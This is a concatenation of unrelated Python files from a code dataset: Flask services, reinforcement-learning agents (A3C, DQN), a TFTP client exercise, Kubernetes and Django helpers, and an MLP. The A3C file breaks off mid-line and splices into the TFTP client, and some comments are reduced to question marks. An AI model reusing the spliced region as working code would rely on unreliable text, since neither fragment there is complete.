Project(**kwargs)\n db.session.add(project)\n db.session.commit()\n return {'message': f'Posted project<{kwargs.get(\"name\")}> to db.'}, 201\n except Exception as e:\n db.session.rollback()\n logger.error(e)\n logger.debug(traceback.format_exc())\n raise e\n\n\ndef update_project(**kwargs):\n logger.info('Update existing project')\n try:\n query = db.session.query(Project).filter_by(name=kwargs.get('name')).one()\n if kwargs.get('newname'):\n query.name = kwargs.get('newname')\n if kwargs.get('shorthand'):\n query.shorthand = kwargs.get('shorthand')\n if kwargs.get('description'):\n query.description= kwargs.get('description')\n db.session.commit()\n return {'message': f'Updated project<{query.name}> from db.'}, 200\n except Exception as e:\n logger.error(e)\n logger.debug(traceback.format_exc())\n raise e\n\n\ndef delete_project(**kwargs):\n logger.info('Delete existing project')\n kwargs = dict(filter(lambda x: x[1], kwargs.items()))\n try:\n query = db.session.query(Project).filter_by(**kwargs).one()\n db.session.delete(query)\n db.session.commit()\n return {'message': f'Deleted project<{query.name}> from db.'}, 200\n except Exception as e:\n logger.error(e)\n logger.debug(traceback.format_exc())\n raise e\n","repo_name":"illo-Co-Ltd/cms","sub_path":"flask/service/data/project_service.py","file_name":"project_service.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20016065947","text":"# OpenGym CartPole-v0 with A3C\n# -----------------------------------\n#\n# A3C implementation with CPU optimizer threads.\n#\n#\n# reference from: Jaromir Janisch\n# https://jaromiru.com/2017/02/16/lets-make-an-a3c-theory/\n\nimport timeit\nimport numpy as np\nimport tensorflow as tf\n#The Thread class represents an activity that is run in a separate thread of control.\nimport gym, time, random, threading\n\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras import backend as K\n\n#-- constants\nENV = 'CartPole-v0'\n\nRUN_TIME = 80\nTHREADS = 4\t\t#4 agents\nOPTIMIZERS = 2\t#2 optimizers\nTHREAD_DELAY = 0.001\n\nGAMMA = 0.99\t#discount rate\n\nN_STEP_RETURN = 8\t#to look up 8 states further\nGAMMA_N = GAMMA ** N_STEP_RETURN\t#Performs exponential (power) calculation\n\nEPS_START = 0.4\nEPS_STOP = .15\nEPS_STEPS = 75000\n\nMIN_BATCH = 32\t#example batch\nLEARNING_RATE = 5e-3\t#learning rate\n\nLOSS_V = .5\t\t\t# v loss coefficient\nLOSS_ENTROPY = .01 \t# entropy coefficient\n\n#---------\n#difine calss Brain: NN model, TensorFlow graph, optimize(minize the loss function which defined in TensorFlow), push examples into train queue\nclass Brain:\n train_queue = [ [], [], [], [], [] ]\t# s, a, r, s', s' terminal mask\n lock_queue = threading.Lock()\t#Once a thread has acquired it, subsequent attempts to acquire it block, until it is released\n\n def __init__(self):\n self.session = tf.Session()\n K.set_session(self.session)\n K.manual_variable_initialization(True)\t#whether variables should be initialized as they are instantiated (default), or if the user should handle the initialization\n\n self.model = self._build_model()\n self.graph = self._build_graph(self.model)\n\n self.session.run(tf.global_variables_initializer())\n self.default_graph = tf.get_default_graph()\n\n self.default_graph.finalize()\t# avoid modifications,read only\n\n def _build_model(self):\n\n l_input = Input( batch_shape=(None, NUM_STATE) )\n l_dense = Dense(16, activation='relu')(l_input)\n\n out_actions = Dense(NUM_ACTIONS, activation='softmax')(l_dense)\n out_value = Dense(1, activation='linear')(l_dense)\n\n model = Model(inputs=[l_input], outputs=[out_actions, out_value])\n model._make_predict_function()\t# have to initialize before threading\n\n return model\n\n def _build_graph(self, model):\n s_t = tf.placeholder(tf.float32, shape=(None, NUM_STATE))\n a_t = tf.placeholder(tf.float32, shape=(None, NUM_ACTIONS))\n r_t = tf.placeholder(tf.float32, shape=(None, 1)) # not immediate, but discounted n step reward\n\n p, v = model(s_t)\t#output policy, value\n\n log_prob = tf.log( tf.reduce_sum(p * a_t, axis=1, keep_dims=True) + 1e-10)\n advantage = r_t - v\n\n loss_policy = - log_prob * tf.stop_gradient(advantage)\t\t\t\t\t\t\t\t\t# maximize policy\n loss_value = LOSS_V * tf.square(advantage)\t\t\t\t\t\t\t\t\t\t\t\t# minimize value error\n entropy = LOSS_ENTROPY * tf.reduce_sum(p * tf.log(p + 1e-10), axis=1, keep_dims=True)\t# maximize entropy (regularization) improve exploration by limiting the premature convergence to suboptimal policy\n\n loss_total = tf.reduce_mean(loss_policy + loss_value + entropy)\n\n optimizer = tf.train.RMSPropOptimizer(LEARNING_RATE, decay=.99)\n minimize = optimizer.minimize(loss_total)\t#minize the loss function\n\n return s_t, a_t, r_t, minimize\n\n def optimize(self):\n if len(self.train_queue[0]) < MIN_BATCH:\n time.sleep(0)\t# yield, get more examples from agents\n return\n\n with self.lock_queue:\n if len(self.train_queue[0]) < MIN_BATCH:\t# more thread could have passed without lock\n return \t\t\t\t\t\t\t\t\t# we can't yield inside lock\n\n s, a, r, s_, s_mask = self.train_queue\n self.train_queue = [ [], [], [], [], [] ]\n\n s = np.vstack(s)\n a = np.vstack(a)\n r = np.vstack(r)\n s_ = np.vstack(s_)\n s_mask = np.vstack(s_mask)\n\n if len(s) > 5*MIN_BATCH: print(\"Optimizer alert! Minimizing batch of %d\" % len(s))\n\n v = self.predict_v(s_)\t#input state s_ to get value\n r = r + GAMMA_N * v * s_mask\t# set v to 0 where s_ is terminal state\n\n s_t, a_t, r_t, minimize = self.graph\n self.session.run(minimize, feed_dict={s_t: s, a_t: a, r_t: r})\n\n def train_push(self, s, a, r, s_): #push example into train_queue,r= n-step-rewards\n with self.lock_queue:\n self.train_queue[0].append(s)\n self.train_queue[1].append(a)\n self.train_queue[2].append(r)\n\n if s_ is None:\n self.train_queue[3].append(NONE_STATE)\n self.train_queue[4].append(0.)\n else:\n self.train_queue[3].append(s_)\n self.train_queue[4].append(1.)\n\n def predict(self, s):\n with self.default_graph.as_default():\n p, v = self.model.predict(s)\n return p, v\n\n def predict_p(self, s):\n with self.default_graph.as_default():\n p, v = self.model.predict(s)\n return p\n\n def predict_v(self, s):\n with self.default_graph.as_default():\n p, v = self.model.predict(s)\n return v\n\n#---------\nframes = 0\t#\n#define Agent class(with threads):\nclass Agent:\n def __init__(self, eps_start, eps_end, eps_steps):\n self.eps_start = eps_start\n self.eps_end = eps_end\n self.eps_steps = eps_steps\n\n self.memory = []\t# used for n_step return\n self.R = 0. #reward\n\n def getEpsilon(self): #get explore rate, come down from 0.4 to 0.15 during 75000 steps\n if(frames >= self.eps_steps):\n return self.eps_end\n else:\n return self.eps_start + frames * (self.eps_end - self.eps_start) / self.eps_steps\t# linearly interpolate\n\n def act(self, s): #choose action\n eps = self.getEpsilon()\n global frames; frames = frames + 1\n\n if random.random() < eps:\n return random.randint(0, NUM_ACTIONS-1)\n\n else:\n s = np.array([s])\n p = brain.predict_p(s)[0]\n #print(\"policy distribute\",p)\n a = np.random.choice(NUM_ACTIONS, p=p) #random choose action according to distribution p\n\n return a\n\n def train(self, s, a, r, s_): #\n def get_sample(memory, n): #compute n-step discounted reward and return a proper tuple\n s, a, _, _ = memory[0] #first state s0 and the action a0\n _, _, _, s_ = memory[n-1] #last state s(n)\n\n return s, a, self.R, s_\n\n a_cats = np.zeros(NUM_ACTIONS)\t# turn action into one-hot representation\n a_cats[a] = 1\n\n self.memory.append( (s, a_cats, r, s_) ) #stores the current transition in memory, which is used to compute the n-step return\n\n #print(\"R1:\",self.R)\n\n self.R = ( self.R + r * GAMMA_N ) / GAMMA #more effective way to compute n-step rewards\n #print(\"R2:\", self.R)\n\n if s_ is None: #don't have next state because done==True\n while len(self.memory) > 0: #In loop, we shorten the buffer in each iteration and compute the n-step return, where n is equal to the current length of the buffer.\n n = len(self.memory)\n s, a, r, s_ = get_sample(self.memory, n)\n brain.train_push(s, a, r, s_)\n\n self.R = ( self.R - self.memory[0][2] ) / GAMMA\n self.memory.pop(0)\n\n self.R = 0\n\n #Last n samples are stored in this buffer and when there are enough of them, n-step discounted reward R is computed, a tuple (s_0, a_0, R, s_n) is inserted into the brain’s training queue\n if len(self.memory) >= N_STEP_RETURN:\n s, a, r, s_ = get_sample(self.memory, N_STEP_RETURN)\n brain.train_push(s, a, r, s_)\n\n self.R = self.R - self.memory[0][2]\n self.memory.pop(0) #delete the first element in memory\n\n #print(\"rewards now:\",self.R)\n\n # possible edge case - if an episode ends in = 512:\n open_file.write(content[4:])\n # 也需要回复ack\n udp_socket.sendto(ack, source_ip)\n else:\n # 如果数据小于512 即数据传输完毕\n open_file.write(content[4:])\n udp_socket.sendto(ack, source_ip)\n open_file.close()\n print(\"数据传输完毕\")\n break\n\n udp_socket.close()\n\n\ndef upload():\n cmd_buf = struct.pack(\"!H9sb5sb\", 2, \"mycat.zip\".encode(\"utf-8\"), 0,\n \"octet\".encode(\"utf-8\"), 0)\n udp_socket.sendto(cmd_buf, (server_ip, 69))\n local_ack = 0\n # 发送上传请求后,服务器会回复ack确认\n while True:\n recv_data, recv_ip = udp_socket.recvfrom(1024)\n recv_cmd, recv_ack = struct.unpack(\"!HH\", recv_data[:4])\n print(recv_cmd, recv_ack)\n # 服务器回复确认,服务器回复ack为0后,即可以发送第一个数据包\n if recv_cmd == 4:\n # 第一个数据包\n if recv_ack == 0:\n try:\n print(\"1\")\n open_file = open(\"mycat.zip\", \"rb\")\n except:\n print(\"打开文件错误\")\n break\n if local_ack == recv_ack:\n #print(local_ack, recv_ack)\n send_data = open_file.read(512)\n local_ack += 1\n print(local_ack, recv_ack)\n send_buf = struct.pack(\"!HH\", 3, local_ack)\n send_buf = send_buf + send_data\n print(send_buf)\n udp_socket.sendto(send_buf, recv_ip)\n else:\n break\n udp_socket.close()\n open_file .close()\n\nif __name__ == \"__main__\":\n #main()\n upload()\n\n","repo_name":"zx2100/learn_py","sub_path":"网络编程/06-tftp客户端.py","file_name":"06-tftp客户端.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41763527056","text":"# -*- coding: utf-8 -*-\nfrom flask import Flask, render_template, request, redirect, url_for\nfrom utils import Utils\n\nimport sys\n#windows\n#sys.path.append('../..')\n#linux\nsys.path.append('/root')\n\nfrom server.x1server import *\n\napp = Flask('X1Tool')\nutils = Utils()\n\napp.debug = True\napp.static_folder = 'static'\n\n#init x1tool server\nX1Server.init_server(app)\ncategory_list, app_list = utils.get_default_apps()\n\ndef write_log(string):\n log = open('flask.log', 'a')\n log.write(string + '\\n')\n log.close()\n\n@app.route('/')\ndef default():\n #return 'hello world'\n return render_template('index.tpl', utils = utils, category_list = category_list, app_list = app_list)\n\n@app.route('/customize/', methods=['GET', 'POST'])\ndef customize():\n if request.method == 'GET':\n return render_template('customize.tpl')\n elif request.method == 'POST':\n if request.form['app_info']:\n ''' Parse the customize information '''\n app_info = request.form['app_info']\n\n ''' app should be formatted as [category_id]-[app_id] '''\n category_list, app_list = utils.get_customize_apps(app_info)\n\n return render_template('index.tpl', utils = utils, category_list = category_list, app_list = app_list)\n else:\n redirect(url_for('/'))\n\n@app.route('/finance/income_tax/', methods=['GET', 'POST'])\ndef finance_income_tax():\n if request.method == 'GET':\n return render_template('finance/income_tax.tpl', utils = utils, category_list = category_list, app_list = app_list)\n elif request.method == 'POST':\n app_id, type, value = request.form['app_id'], request.form['type'], request.form['value']\n return utils.get_result(app_id, {str(type) : float(value)})\n else:\n redirect(url_for('/finance/income_tax/'))\n\n@app.route('/programmer/hash/')\ndef programmer_hash():\n return render_template('programmer/hash.tpl', utils = utils, category_list = category_list, app_list = app_list)\n\n@app.route('/programmer/base64/')\ndef programmer_base64():\n return render_template('programmer/base64.tpl', utils = utils, category_list = category_list, app_list = app_list)\n\n@app.route('/programmer/timestamp/')\ndef programmer_timestamp():\n return render_template('programmer/timestamp.tpl', utils = utils, category_list = category_list, app_list = app_list)\n\n@app.route('/programmer/crypto/')\ndef programmer_crypto():\n return render_template('programmer/crypto.tpl', utils = utils, category_list = category_list, app_list = app_list)\n\n@app.route('/programmer/qrcode/', methods=['GET', 'POST'])\ndef programmer_qrcode():\n if request.method == 'GET':\n return render_template('programmer/qrcode.tpl', utils = utils, category_list = category_list, app_list = app_list)\n elif request.method == 'POST':\n app_id, raw = request.form['app_id'], request.form['raw']\n return utils.get_result(app_id, {'raw': raw})\n else:\n redirect(url_for('/programmer/qrcode/'))\n\n@app.route('/life/express/', methods=['GET', 'POST'])\ndef life_express():\n if request.method == 'GET':\n return render_template('life/express.tpl', utils = utils, category_list = category_list, app_list = app_list)\n elif request.method == 'POST':\n app_id, com, no = request.form['app_id'], request.form['com'], request.form['no']\n return utils.get_result(app_id, {'com': str(com), 'no': str(no)})\n else:\n redirect(url_for('/life/express/'))\n\n@app.url_value_preprocessor\ndef session_preprocessor(endpoint, values):\n X1Server.pre_process(request)\n\nif __name__ == '__main__':\n app.run('0.0.0.0', 8888)\n","repo_name":"cshzc/X1Tool","sub_path":"src/www/example/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"29489963498","text":"import json\nimport requests\nimport datetime\nimport yaml\nimport json\nfrom urllib.parse import urljoin\n\n\nclass AppInfo:\n def __init__(self, K8S_URL='http://192.168.12.22:8080'):\n self.K8S_URL = K8S_URL\n\n def get_app_list(self):\n app_list = []\n app_id = 0\n UTC_FORMAT = \"%Y-%m-%dT%H:%M:%SZ\"\n api_path = '/apis/apps/v1/namespaces/default/deployments'\n req = requests.get(urljoin(self.K8S_URL, api_path))\n req_json = json.loads(req.text)\n items = req_json['items']\n for i in items:\n app_id += 1\n app_name = i['metadata']['name']\n creationTime = i['metadata']['creationTimestamp']\n utcTime = datetime.datetime.strptime(creationTime, UTC_FORMAT)\n create_time = utcTime + datetime.timedelta(hours=8)\n labels = i['metadata']['labels']\n replicas = i['spec']['replicas']\n image = i['spec']['template']['spec']['containers'][0]['image']\n app_list.append({'app_id': app_id, 'app_name': app_name,\n 'create_time': str(create_time),\n 'labels': labels,\n 'replicas': replicas,\n 'image': image})\n return app_list\n\n def create_app(self, yaml_data):\n headers = {\"Content-Type\": \"application/yaml\"}\n api_path = '/apis/extensions/v1beta1/namespaces/default/deployments'\n req = requests.post(urljoin(self.K8S_URL, api_path), data=yaml_data, headers=headers)\n res = json.loads(req.text)\n return res\n\n\nif __name__ == '__main__':\n f = open('../yaml_file/deployment.yml')\n y = yaml.load(f, Loader=yaml.FullLoader)\n yYaml = yaml.dump(y)\n AppInfo().create_app(yYaml)\n","repo_name":"lensite/k8s-yaml-edit","sub_path":"common/appInfo.py","file_name":"appInfo.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9835486473","text":"# sfvalidate.py\n\nimport argparse\nimport symbols\nimport sys\n\n# Setup SFValidate Parser\nparser = argparse.ArgumentParser(\n prog='sfvalidate',\n usage='%(prog)s [options] path',\n description='Format and validate a txt list of SFSymbols (e.g. received via email)')\n\n# arg for file containing an unformatted list of SFSymbols\nparser.add_argument('filename', type=argparse.FileType('r'))\n# arg for file to output the report to\nparser.add_argument(\"-r\", \"--report\", type=argparse.FileType('w'),\n help=\"Generate a report and output to a file your choice\")\n\n# begin parsing the provided args\nargs = parser.parse_args()\n\n# read the contents of the file provided\n# then close the file\ntext = args.filename.read()\nargs.filename.close()\n\n# parse the input text; outputs an array of formatted strings, and an emoji pass or fail report\nresults, report = symbols.parse(text)\n\n# format the parsed results\nformatted_report = '\\n'.join(report)\nformatted_results = ', '.join('\"{0}\"'.format(w) for w in results)\n\n# Prints the output of the program\nprint(formatted_report)\nprint(\"\\nYou may copy and paste the following, all of which should work:\\n\\n\")\nprint(formatted_results)\n\n# write the report to the file\nif args.report is not None:\n # write the results to the file\n # then close the file\n args.report.write(formatted_report)\n args.report.close()\n","repo_name":"willsmillie/sfsymbol-validate","sub_path":"sfvalidate.py","file_name":"sfvalidate.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"15026374099","text":"def c_coin(N, C):\r\n # divisor[k]: C[k]?????C[k]?????C[k]????C??????\r\n # ex. C => [2, 4, 8] -> divisor => [0, 1, 2]\r\n # 2????0??4????1??8????2??????\r\n divisor = (len([1 for idx2, c2 in enumerate(C) if idx1 != idx2 and c1 % c2 == 0])\r\n for idx1, c1 in enumerate(C))\r\n return '{:.12f}'.format(sum((s // 2 + 1) / (s + 1) for s in divisor))\r\n\r\nN = int(input())\r\nC = [int(input()) for _ in range(N)]\r\nprint(c_coin(N, C))","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc008/C/4794972.py","file_name":"4794972.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"47825116258","text":"from django.urls import path,re_path\nfrom . import views\n\nurlpatterns = [\n path(\"visitorsignup\",views.visitorsignup,name='visitorsignup'),\n path(\"visitorsignin\",views.visitorsignin,name=\"visitorsignin\"),\n path(\"visitorhome\",views.visitorhome,name=\"visitorhome\"),\n path(\"booking\",views.booking,name=\"booking\"),\n path(\"cancel\",views.cancel,name=\"cancel\"),\n path(\"booking_details\",views.booking_details,name=\"booking_details\"),\n path(\"logout\",views.logout,name=\"logout\"),\n]\n","repo_name":"AbishekKrMishra/Medibed-Django","sub_path":"visitor/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4524019409","text":"import numpy as np\nimport mlp\n\nclass mlp_two_hidden_layers:\n\n def __init__(self, input_dimensions, num_inputs, output_dimensions, nhidden1=19, nhidden2=18, beta=1, momentum=0.9, outtype='logistic'):\n \"\"\" Constructor \"\"\"\n # Set up network size\n self.nin = input_dimensions\n self.nout = output_dimensions\n self.ndata = num_inputs\n\n self.nhidden1 = nhidden1\n self.nhidden2 = nhidden2\n\n self.beta = beta\n self.momentum = momentum\n self.outtype = outtype\n\n # Initialise network\n self.weights1 = (np.random.rand(self.nin + 1, self.nhidden1) - 0.5) * 2 / np.sqrt(self.nin + 1)\n self.weights2 = (np.random.rand(self.nhidden1 + 1, self.nhidden2) - 0.5) * 2 / np.sqrt(self.nhidden1 + 1)\n self.weights3 = (np.random.rand(self.nhidden2 + 1, self.nout) - 0.5) * 2 / np.sqrt(self.nhidden2 + 1)\n\n def mlptrain(self, inputs, targets, eta, niterations):\n \"\"\" Train the thing \"\"\"\n # Add the inputs that match the bias node\n inputs = np.concatenate((inputs, -np.ones((self.ndata, 1))), axis=1)\n\n updatew1 = np.zeros((np.shape(self.weights1)))\n updatew2 = np.zeros((np.shape(self.weights2)))\n updatew3 = np.zeros((np.shape(self.weights3)))\n\n for n in range(niterations):\n\n self.outputs = self.mlpfwd(inputs)\n\n error = 0.5 * np.sum((self.outputs - targets) ** 2)\n # if (np.mod(n, 100) == 0):\n # print(\"Iteration: \", n, \" error: \", error)\n\n\n\n\n # Different types of output neurons\n if self.outtype == 'linear':\n deltao = (self.outputs - targets) / self.ndata\n elif self.outtype == 'logistic':\n deltao = self.beta * (self.outputs - targets) * self.outputs * (1.0 - self.outputs)\n elif self.outtype == 'softmax':\n deltao = (self.outputs - targets) * (self.outputs * (-self.outputs) + self.outputs) / self.ndata\n else:\n print(\"error\")\n\n\n deltah2 = self.hidden2 * self.beta * (1.0 - self.hidden2) * (np.dot(deltao, np.transpose(self.weights3)))\n deltah1 = self.hidden1 * self.beta * (1.0 - self.hidden1) * (np.dot(deltah2, np.transpose(self.weights2)))\n\n updatew1 = eta * (np.dot(np.transpose(inputs), deltah1[:, :-1])) + self.momentum * updatew1\n updatew2 = eta * (np.dot(np.transpose(self.hidden1), deltah2[:, :-1])) + self.momentum * updatew2\n updatew3 = eta * (np.dot(np.transpose(self.hidden2), deltao)) + self.momentum * updatew3\n\n self.weights1 -= updatew1\n self.weights2 -= updatew2\n self.weights3 -= updatew3\n\n def mlpfwd(self, inputs):\n\n self.hidden1 = np.dot(inputs, self.weights1)\n self.hidden1 = 1.0 / (1.0 + np.exp(-self.beta * self.hidden1))\n self.hidden1 = np.concatenate((self.hidden1, -np.ones((np.shape(inputs)[0], 1))), axis=1)\n\n self.hidden2 = np.dot(self.hidden1, self.weights2)\n self.hidden2 = 1.0 / (1.0 + np.exp(-self.beta * self.hidden2))\n self.hidden2 = np.concatenate((self.hidden2, -np.ones((np.shape(inputs)[0], 1))), axis=1)\n\n outputs = np.dot(self.hidden2, self.weights3)\n\n\n # Different types of output neurons\n if self.outtype == 'linear':\n return outputs\n elif self.outtype == 'logistic':\n return 1.0 / (1.0 + np.exp(-self.beta * outputs))\n elif self.outtype == 'softmax':\n normalisers = np.sum(np.exp(outputs), axis=1) * np.ones((1, np.shape(outputs)[0]))\n return np.transpose(np.transpose(np.exp(outputs)) / normalisers)\n else:\n print(\"error\")\n\n def early_stop(self, train_inputs, train_targets, validation_set, validation_set_targets, eta):\n \"\"\" initialise first error \"\"\"\n validation_set = np.concatenate((validation_set, -np.ones((np.shape(validation_set)[0], 1))), axis=1)\n self.mlptrain(train_inputs, train_targets, eta, 100)\n validation_out = self.mlpfwd(validation_set)\n error1 = 0.5 * (np.sum(validation_out - validation_set_targets) ** 2)\n\n \"\"\" initialise second error \"\"\"\n self.mlptrain(train_inputs, train_targets, eta, 100)\n validation_out = self.mlpfwd(validation_set)\n error2 = 0.5 * (np.sum(validation_out - validation_set_targets) ** 2)\n\n while error2 < error1:\n self.mlptrain(train_inputs, train_targets, eta, 100)\n error1 = error2\n validation_out = self.mlpfwd(validation_set)\n error2 = 0.5 * (np.sum(validation_out - validation_set_targets) ** 2)\n\n def confmat(self, inputs, targets):\n \"\"\"Confusion matrix\"\"\"\n\n # Add the inputs that match the bias node\n inputs = np.concatenate((inputs, -np.ones((np.shape(inputs)[0], 1))), axis=1)\n outputs = self.mlpfwd(inputs)\n\n nclasses = np.shape(targets)[1]\n\n if nclasses == 1:\n nclasses = 2\n outputs = np.where(outputs > 0.5, 1, 0)\n else:\n # 1-of-N encoding\n outputs = np.argmax(outputs, 1)\n targets = np.argmax(targets, 1)\n\n cm = np.zeros((nclasses, nclasses))\n for i in range(nclasses):\n for j in range(nclasses):\n cm[i, j] = np.sum(np.where(outputs == j, 1, 0) * np.where(targets == i, 1, 0))\n\n print(\"Confusion matrix is:\")\n print(cm)\n print(\"Percentage Correct: \", np.trace(cm) / np.sum(cm) * 100)","repo_name":"vishu160196/MalwareDetectionUsingDeepBeliefNetworks","sub_path":"mlp_two_hidden_layer.py","file_name":"mlp_two_hidden_layer.py","file_ext":"py","file_size_in_byte":5501,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"38970615350","text":"#!/usr/bin/env python\n\nimport torch as T\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torchvision.transforms as V\n\nimport gym\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport math\nfrom itertools import count\n\nimport os\nimport sys\nsys.path.append(\"{}/torchutils/\".format(os.environ[\"HOME\"]))\nfrom torchutils.bootstrap import bootstrap\nfrom torchutils.viz.display import Display\nimport torchutils.models.rl as rl\n\nfrom model import DQN, Transition\n\nDISPLAY_ENABLED = os.environ['DISP'] == 'Y'\n\nDISPLAY_WIDTH = 600\nDISPLAY_HEIGHT = 600\n\nEPOCHS = 10000\nBATCH_SIZE = 32\nGAMMA = 0.99\nEPS_START = 0.1\nEPS_END = 0.05\nEPS_DECAY = 5e5\nTARGET_UPDATE = 4\nLEARNING_RATE = 0.000075\nSTEPS_BEFORE_TRAIN = 0\nREPLAY_BUF_SIZE = 20000\n\ntransform = V.Compose([\n V.ToPILImage(),\n V.Grayscale(1),\n V.Resize((84, 84)),\n V.ToTensor()\n])\n\ndef optimize_model(M):\n if M.steps < STEPS_BEFORE_TRAIN:\n return\n\n if len(M.memory) < BATCH_SIZE:\n return\n\n transitions = M.memory.sample(BATCH_SIZE)\n batch = Transition(*zip(*transitions))\n\n non_final_mask = T.tensor(\n tuple(map(lambda s: s is not None, batch.next_state)),\n device=M.device, dtype=T.uint8)\n\n non_final_next_states = T.cat(\n [s for s in batch.next_state if s is not None])\n state_batch = T.cat(batch.state)\n action_batch = T.cat(batch.action)\n reward_batch = T.cat(batch.reward)\n\n non_final_next_states = non_final_next_states.to(M.device)\n state_batch = state_batch.to(M.device)\n action_batch = action_batch.to(M.device)\n reward_batch = reward_batch.to(M.device)\n\n # - examples on the 0th axis, values on the 1st axis\n # - get the output of our model -- what does it believe\n # the value is for the states we're going to be\n # transitioning to (or we believe we will be \n # transitioning to -- in other words, what is the\n # predicted value of our action, given our state)?\n state_action_values = M.policy(state_batch).gather(1, action_batch.view(-1, 1))\n\n # - compute the \"actual\" value of the next state\n # we ended up in by taking the above action.\n next_state_values = T.zeros(BATCH_SIZE, device=M.device)\n next_state_values[non_final_mask] = \\\n M.target(non_final_next_states).max(dim=1)[0].detach()\n\n # Compute the expected Q values\n expected_state_action_values = reward_batch + (GAMMA * next_state_values)\n\n loss = F.smooth_l1_loss(\n state_action_values,\n expected_state_action_values.unsqueeze(1))\n \n # Optimize the model\n M.optim().zero_grad()\n loss.backward()\n for param in M.policy.parameters():\n # print(param.grad.data)\n param.grad.data.clamp_(-1, 1)\n M.optim().step()\n\n if M.steps % 20 == 0:\n print(\"[x] finish optimizing: step {}\".format(M.steps))\n \n return loss\n\ndef train(M):\n print(\"[*] -- training mode --\")\n\n duration = 0\n env = M.env\n prev_frame = transform(env.reset())\n frame, _, _, _ = env.step(0)\n frame = transform(frame)\n state = T.cat([frame, prev_frame], dim=0)\n done = False\n M.policy.train()\n total_loss = 0\n num_loss = 1\n\n for t in count():\n # Decrease the chance of random action as training progresses\n eps = EPS_END + (EPS_START - EPS_END) * \\\n math.exp(-1. * (M.steps - STEPS_BEFORE_TRAIN) / EPS_DECAY)\n M.eps = eps\n\n # Compute an action using the epsilon greedy procedure\n state = state.to(M.device)\n action, was_random, action_values = rl.epsilon_greedy(\n env.action_space.n, state, M.policy, eps)\n \n prev_frame = T.tensor(frame)\n frame, reward, done, _ = env.step(action)\n frame = transform(frame)\n reward = T.tensor([float(np.sign(int(reward)))], device=M.device)\n\n if DISPLAY_ENABLED:\n M.display.draw_pytorch_tensor(frame, 0, 0)\n action_label = \"[i] action: {}\".format(M.action_db[action])\n M.display.draw_text(action_label, 10, DISPLAY_HEIGHT - 30)\n eps_label = \"[i] eps: {:0.2f} (random? {})\".format(eps, was_random)\n M.display.draw_text(eps_label, 10, DISPLAY_HEIGHT - 70)\n else:\n reward_label = \"[i] reward: {}\".format(reward.item())\n\n if done:\n next_state = None\n else:\n next_state = T.cat([frame, prev_frame], dim=0)\n \n M.memory.push(state, T.tensor([action]), next_state, reward)\n\n state = next_state\n M.steps += 1\n\n loss = optimize_model(M)\n if loss is not None:\n total_loss += loss\n num_loss += 1\n\n if done:\n duration += t + 1\n break\n\n # Update the target network\n if M.epoch % TARGET_UPDATE == 0:\n M.target.load_state_dict(M.policy.state_dict())\n \n return duration, total_loss / num_loss\n\ndef test(M):\n print(\"[*] -- testing mode --\")\n env = M.env\n prev_frame = transform(env.reset())\n frame, _, _, _ = env.step(0)\n frame = transform(frame)\n done = False\n consecutive_same = 0\n\n with T.no_grad():\n t = 0\n while not done:\n state = T.cat([frame, prev_frame], dim=0)\n state = state.to(M.device)\n\n eps = 0.0\n action, was_random, action_values = rl.epsilon_greedy(\n M.env.action_space.n, state, M.policy, eps)\n\n if t % 50 == 0:\n print(\"action values: {}\".format(action_values))\n\n if consecutive_same > 30:\n print(\"[i] action overridden\")\n action = 1\n consecutive_same = 0\n\n prev_frame = T.tensor(frame)\n frame, _, done, _ = env.step(action)\n frame = transform(frame)\n\n same = T.all(T.lt(\n T.abs(T.add(prev_frame[:-10, :], -frame[:-10, :])), 1e-8)).item()\n\n if same == 0:\n consecutive_same = 0\n else:\n consecutive_same += 1\n\n action_label = \"[i] action: {}\".format(M.action_db[action])\n if DISPLAY_ENABLED:\n M.display.draw_pytorch_tensor(frame, 0, 0)\n M.display.draw_text(action_label, 10, DISPLAY_HEIGHT - 30)\n \n t += 1\n return t\n\n\n@bootstrap.main\ndef main(*args, **kwargs):\n M = kwargs[\"M\"]\n M.env = gym.make(\"BreakoutDeterministic-v4\")\n\n M.policy = DQN()\n M.target = DQN()\n M.target.eval()\n M.policy.to(M.device)\n M.target.to(M.device)\n\n starter = \"./bootstrap/model-epoch-2750.pt\"\n starter_target = \"./bootstrap/model-epoch-2750.pt\"\n M.policy.load_state_dict(\n T.load(starter, map_location=M.device))\n M.target.load_state_dict(\n T.load(starter_target, map_location=M.device))\n M.time = int(time.time())\n M.log = open(\"./logs/log-{}.txt\".format(M.time), \"a\")\n M.model_folder = \"./model-{}\".format(M.time)\n os.mkdir(M.model_folder)\n\n M.memory = rl.ReplayMemory(REPLAY_BUF_SIZE)\n if DISPLAY_ENABLED:\n M.display = Display(\"breakout\", DISPLAY_WIDTH, DISPLAY_HEIGHT)\n M.action_db = {\n 0: \"NOP\",\n 1: \"Fire\",\n 2: \"Right\",\n 3: \"Left\"\n }\n\n M.optim(optim.RMSprop(M.policy.parameters(), lr=LEARNING_RATE))\n M.steps = 0\n\n durations = []\n test_durations = []\n\n for epoch in range(EPOCHS):\n M.epoch = epoch\n duration, avg_loss = train(M)\n durations.append(duration)\n print(\"[train/{}] duration: {}, total steps: {}, avg loss: {:0.6f}, eps: {:0.2f}\".format(\n epoch, duration, M.steps, avg_loss, M.eps))\n \n if M.steps >= 